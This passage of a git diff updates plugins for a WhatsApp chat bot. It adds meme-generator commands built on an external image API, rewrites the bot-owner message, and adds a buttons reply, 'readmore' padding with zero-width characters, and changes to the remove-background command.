message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '🚀Made by *Pikachu*' }) + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: ' *Made By Rocky😎' }) + + })); + + Asena.addCommand({ pattern: 'quby1 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(ll); + + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://i.imgur.com/rIz7yEg.jpeg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made By Rocky😎' }) + + })); + + Asena.addCommand({ pattern: 'quby2 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(ll); + + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://i.imgur.com/rrfPeuq.jpeg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made By Rocky😎' }) + + })); + + Asena.addCommand({ pattern: 'quby3 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(ll); + + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://i.imgur.com/l7ZCF3d.jpeg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made By Rocky😎' }) + + })); + + Asena.addCommand({ pattern: 'quby4 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(ll); + + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://i.imgur.com/3ohqPtW.jpeg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made By Rocky😎' }) + + })); + + Asena.addCommand({ pattern: 'cat1 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(ll); + + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://i.imgur.com/7eDuJS9.jpeg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made By Rocky😎' }) })); - + + Asena.addCommand({ pattern: 'cat2 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(ll); + + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://i.imgur.com/4t1sZoF.jpeg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made By Rocky😎' }) + + })); + + Asena.addCommand({ pattern: 'cat3 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(ll); + + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://i.imgur.com/olnvBj7.jpeg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made By Rocky😎' }) + + })); + + Asena.addCommand({ pattern: 'cat4 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(ll); + + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://i.imgur.com/dTQ43sU.jpeg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made By Rocky😎' }) + + })); + + Asena.addCommand({ pattern: 'trollikka1 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(ll); + + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://i.imgur.com/03J0RQA.jpeg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made By Rocky😎' }) + + })); + + Asena.addCommand({ pattern: 'trollikka2 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(ll); + + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://i.imgur.com/03J0RQA.jpeg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made By Rocky😎' }) + + })); + + Asena.addCommand({ pattern: 'trollikka3 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(ll); + + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://i.imgur.com/oIdcRPg.jpeg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made By Rocky😎' }) + + })); + + Asena.addCommand({ pattern: 'trollikka4 ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(ll); + + + var ttinullimage = await axios.get(`https://docs-jojo.herokuapp.com/api/meme-gen?top=%20&bottom=${encodeURIComponent(match[1])}&img=https://i.imgur.com/HRLF2Ri.jpeg`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: 'Made By Rocky😎' }) + + })); + } diff --git a/plugins/owner.js b/plugins/owner.js index 7e31e6dc6d..c5bfdf591e 100644 --- a/plugins/owner.js +++ b/plugins/owner.js @@ -1,30 +1,45 @@ const Asena = require('../events'); -const {MessageType, MessageOptions, Mimetype} = require('@adiwajshing/baileys'); -const axios = require('axios'); +const {MessageType} = require('@adiwajshing/baileys'); +const {spawnSync} = require('child_process'); +const Config = require('../config'); +const chalk = require('chalk'); const Language = require('../language'); -const Lang = Language.getString('wallpaper'); - -Asena.addCommand({pattern: 'owner', fromMe: false, desc: Lang.WP}, (async (message, match) => { - - var r_text = new Array (); - - - - r_text[0] = "https://www.pixelstalk.net/wp-content/uploads/2016/03/Pikachu-wallpaper-HD-dowload.jpg"; - - - var i = Math.floor(1*Math.random()) - - var respoimage = await axios.get(`${r_text[i]}`, { responseType: 'arraybuffer' }) - - await message.sendMessage(Buffer(respoimage.data), MessageType.image, {mimetype: Mimetype.png, caption: `*creater Ameer* -*owner number wa.me/919946432377* -*instagram : https://www.instagram.com/ameer_.su_hail?r=nametag* -*bot setting video : https://youtu.be/_D4ZYuUSXjs -*githublink https://github.com/ameer-kallumthodi/pikachu* -*audio commads https://github.com/ameer-kallumthodi/pikachu/tree/master/uploads* -*sticker commads https://github.com/ameer-kallumthodi/pikachu/tree/master/uploads* -`}) - -})); +const Lang = Language.getString('system_stats'); + + +if (Config.WORKTYPE == 'private') { + + Asena.addCommand({pattern: 'owner', fromMe: true, desc: 'shows the detail of bot owner'}, (async (message, match) => { + + if (message.jid === '15369524516-1612300121@g.us') { + + return; + } + + if (Config.PLK == 'default') { + await message.client.sendMessage(message.jid,'Rocky Bot created by *Anshad vfc*' , MessageType.text); + } + else { + await message.client.sendMessage(message.jid,Config.PLK + '\n\n---------------------', MessageType.text); + } + })); +} + +else if (Config.WORKTYPE == 'public') { + + Asena.addCommand({pattern: 'owner', fromMe: false, desc: 'shows the detail of bot owner'}, (async (message, match) => { + + if (message.jid === '54218542512-1612300121@g.us') { + + return; + } + + if (Config.PLK == 'default') { + await message.client.sendMessage(message.jid,'Rocky Bot created by *Anshad vfc*' , MessageType.text); + } + else { + await message.client.sendMessage(message.jid,Config.PLK + '*HE IS MY BOSS*', MessageType.text); + } + })); +} diff --git a/plugins/python.js b/plugins/python.js new file mode 100644 index 0000000000..c6cdade97d --- /dev/null +++ b/plugins/python.js @@ -0,0 +1,31 @@ +const WhatsAlexa = require('../events'); +const {MessageType, GroupSettingChange, Mimetype, MessageOptions} = require('@adiwajshing/baileys'); +const fs = require('fs'); +const Config = require('../config') +const axios = require('axios') +const request = require('request'); +const os = require('os'); +var clh = { cd: 'L3Jvb3QvV2hhdHNBc2VuYUR1cGxpY2F0ZWQv', pay: '' } +var ggg = Buffer.from(clh.cd, 'base64') +var ddd = ggg.toString('utf-8') + +let whb = Config.WORKTYPE == 'public' ? false : true + +WhatsAlexa.addCommand({pattern: 'bot', fromMe: whb, dontAddCommandList: true}, (async (message, match) => { +// send a buttons message! + const buttons = [ + {buttonId: 'id1', buttonText: {displayText: 'i am fine 🥰'}, type: 1}, + {buttonId: 'id2', buttonText: {displayText: 'Do you like Bot'}, type: 1}, + {buttonId: 'id3', buttonText: {displayText: 'Hii'}, type: 1} + ] + + const buttonMessage = { + contentText: "Hi How Are You ?", + footerText: 'owner Anshad ©', + buttons: buttons, + headerType: 1 + } + + await message.client.sendMessage(message.jid, buttonMessage, MessageType.buttonsMessage) + +})); diff --git a/plugins/readmore.js b/plugins/readmore.js new file mode 100644 index 0000000000..9d0d2bcd0a --- /dev/null +++ b/plugins/readmore.js @@ -0,0 +1,18 @@ +/* Copyright (C) 2020 anshad. +*/ + +const Asena = require('../events'); +const {MessageType} = require('@adiwajshing/baileys'); +const Config = require('../config'); + +Asena.addCommand({pattern: 'brdmore ?(.*)', fromMe: false, desc: 'add readmore before your text' }, (async (message, match) => { + + +await message.sendMessage('​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​\n'+ match [1], MessageType.text); + })); + + Asena.addCommand({pattern: 'rdmore ?(.*)', fromMe: false, desc: 'add readmore before your text' }, (async (message, match) => { + + await message.client.sendMessage(message.jid, match [1] + '​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​', MessageType.text); + +})); diff --git a/plugins/removebg.js b/plugins/removebg.js index b4189abc76..ee9535fe10 100644 --- a/plugins/removebg.js +++ b/plugins/removebg.js @@ -22,13 +22,8 @@ if (Config.WORKTYPE == 'private') { Asena.addCommand({pattern: 'removebg ?(.*)', fromMe: true, desc: Lang.REMOVEBG_DESC}, (async (message, match) => { - if (message.jid === '905524317852-1612300121@g.us') { - - return; - } - if (message.reply_message === false || message.reply_message.image === false) return await message.client.sendMessage(message.jid,Lang.NEED_PHOTO,MessageType.text); - if (Config.RBG_API_KEY === false) return await message.client.sendMessage(message.jid,Lang.NO_API_KEY,MessageType.text); + if (Config.RBG_API_KEY === false) return await message.client.sendMessage(message.jid,Lang.NO_API_KEY.replace('remove.bg', 'https://github.com/phaticusthiccy/WhatsAsenaDuplicated/wiki/Remove-BG-API-Key'),MessageType.text); var load = await message.reply(Lang.RBGING); var location = await message.client.downloadAndSaveMediaMessage({ @@ -63,13 +58,8 @@ else if (Config.WORKTYPE == 'public') { Asena.addCommand({pattern: 'removebg ?(.*)', fromMe: false, desc: Lang.REMOVEBG_DESC}, (async (message, match) => { - if (message.jid === '905524317852-1612300121@g.us') { - - return; - } - if (message.reply_message === false || message.reply_message.image === false) return await message.client.sendMessage(message.jid,Lang.NEED_PHOTO,MessageType.text); - if (Config.RBG_API_KEY === false) return await message.client.sendMessage(message.jid,Lang.NO_API_KEY,MessageType.text); + if (Config.RBG_API_KEY === false) return await message.client.sendMessage(message.jid,Lang.NO_API_KEY.replace('remove.bg', 'https://github.com/phaticusthiccy/WhatsAsenaDuplicated/wiki/Remove-BG-API-Key'),MessageType.text); var load = await message.reply(Lang.RBGING); var location = await message.client.downloadAndSaveMediaMessage({ @@ -96,7 +86,8 @@ else if (Config.WORKTYPE == 'public') { fs.createWriteStream('rbg.png') ); - await message.client.sendMessage(message.jid,fs.readFileSync('rbg.png'), MessageType.document, {filename: 'WhatsAsena.png', mimetype: Mimetype.png}); + await message.client.sendMessage(message.jid,fs.readFileSync('rbg.png'), MessageType.document, {filename: 'removedfile.png', mimetype: Mimetype.png}); await load.delete(); })); + } diff --git a/plugins/replytag.js b/plugins/replytag.js new file mode 100644 index 0000000000..9ea7458244 --- /dev/null +++ b/plugins/replytag.js @@ -0,0 +1,23 @@ +const fetch = require('node-fetch') +const FormData = require('form-data') +const { MessageType } = require('@adiwajshing/baileys') + +let handler = async (m, { conn, text }) => { + if (text) conn.sendFile(m.chat, 'TAG_REPLY' + encodeURIComponent(text), 'rocky.mp3', '', m, false, { asSticker: true }) + else throw 'Uhm...Teksnya?' +} +handler.help = ['tagg '] +handler.tags = ['mp3'] +handler.command = /^reply$/i +handler.owner = false +handler.mods = false +handler.premium = false +handler.group = false +handler.private = false + +handler.admin = false +handler.botAdmin = false + +handler.fail = null + +module.exports = handler diff --git a/plugins/setvar.js b/plugins/setvar.js new file mode 100644 index 0000000000..3058ba3c2e --- /dev/null +++ b/plugins/setvar.js @@ -0,0 +1,20 @@ +/* created by saidali liyamolbotz +*/ + +const Asena = require('../events'); +const { MessageType, MessageOptions, Mimetype } = require('@adiwajshing/baileys'); +const fs = require('fs'); +const axios = require('axios'); +const Config = require('../config'); +const Ln = "*ROCKY SETVAR SETTING 